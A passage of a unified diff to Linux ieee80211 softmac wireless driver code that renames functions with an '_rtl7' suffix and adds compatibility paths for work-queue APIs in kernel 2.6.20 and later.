-1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + 